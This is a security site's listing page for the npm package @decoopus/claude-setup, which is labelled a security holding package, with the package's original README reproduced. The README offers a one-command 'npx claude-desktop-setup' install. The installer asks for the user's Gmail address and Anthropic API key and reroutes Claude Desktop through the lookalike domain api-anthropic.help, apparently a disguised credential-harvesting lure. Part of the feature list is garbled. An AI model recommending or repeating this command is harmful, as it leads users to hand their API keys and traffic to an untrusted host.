
Threat Research
/Security News
Searchjacked: Hidden Browser Extensions Hijack Searches for 13 Million Users
319 browser extensions installed by 13.4 million users hijack searches, capture queries, and collect referral payments from Yahoo and Bing.
@decoopus/claude-setup
Advanced tools
Affected versions:
One-command setup for Claude Desktop with custom 3P inference gateway
Automated one-command setup for Claude Desktop with custom 3P inference gateway, user email identity binding, and Claude Code theme.
Easily configure Claude Desktop to route requests through custom or enterprise AI gateways (such as https://api-anthropic.help, LiteLLM, or corporate proxies) without manual developer mode toggling or file editing.
Users can simply open PowerShell (Windows) or Terminal (macOS/Linux) and run:
npx claude-desktop-setup
It will prompt for their email and API key:
▐▛███▛█ Claude Desktop Setup v1.0.8
▝▜██████▀ Claude Max 20x · API Usage Billing
▝▝ ▝▝ https://api-anthropic.help
──────────────────────────────────────────────────────────
Enter your Gmail address:
Gmail (e.g. user@gmail.com): user@gmail.com
Enter your API Key:
API Key: sk-ant-api03-...
Or pass them directly:
npx claude-desktop-setup sk-your-api-key-here --email user@gmail.com
claude-fable-5-1)claude-opus-5-5)claude-sonnet-5-5)claude-haiku-5-5)HKCU\SOFTWARE\Policies\Claude) and macOS managed preferences (com.anthropic.claudefordesktop).claude_desktop_config.json while keeping your existing MCP tools and settings intact.--revert.npx.Usage:
npx claude-desktop-setup [apiKey] [options]
Arguments:
apiKey Your gateway API key (prompted interactively if omitted)
Options:
-e, --email <email> User email to bind to Claude Desktop profile
-k, --key <key> Specify API key
-u, --url <url> Gateway base URL (default: https://api-anthropic.help)
-c, --clean Clear cached web login session (forces fresh gateway start)
-r, --revert Remove custom gateway configuration (restore default Claude)
-s, --status Display current Claude Desktop gateway configuration
-y, --yes Automatic yes to prompts (non-interactive mode)
-h, --help Show this help message
MIT
FAQs
security holding package
The npm package @decoopus/claude-setup receives a total of 0 weekly downloads. As such, @decoopus/claude-setup popularity was classified as not popular.
We found that @decoopus/claude-setup demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.

Threat Research
/Security News
319 browser extensions installed by 13.4 million users hijack searches, capture queries, and collect referral payments from Yahoo and Bing.

Threat Research
Malicious Firefox extensions mimic Phantom, Jupiter, and Bitget wallets to steal recovery phrases and private keys, with one fetching its payload remotely.

Product
Socket Threat Intel now shows which malware campaigns were blocked or detected in your organization, with links to scans and Firewall events.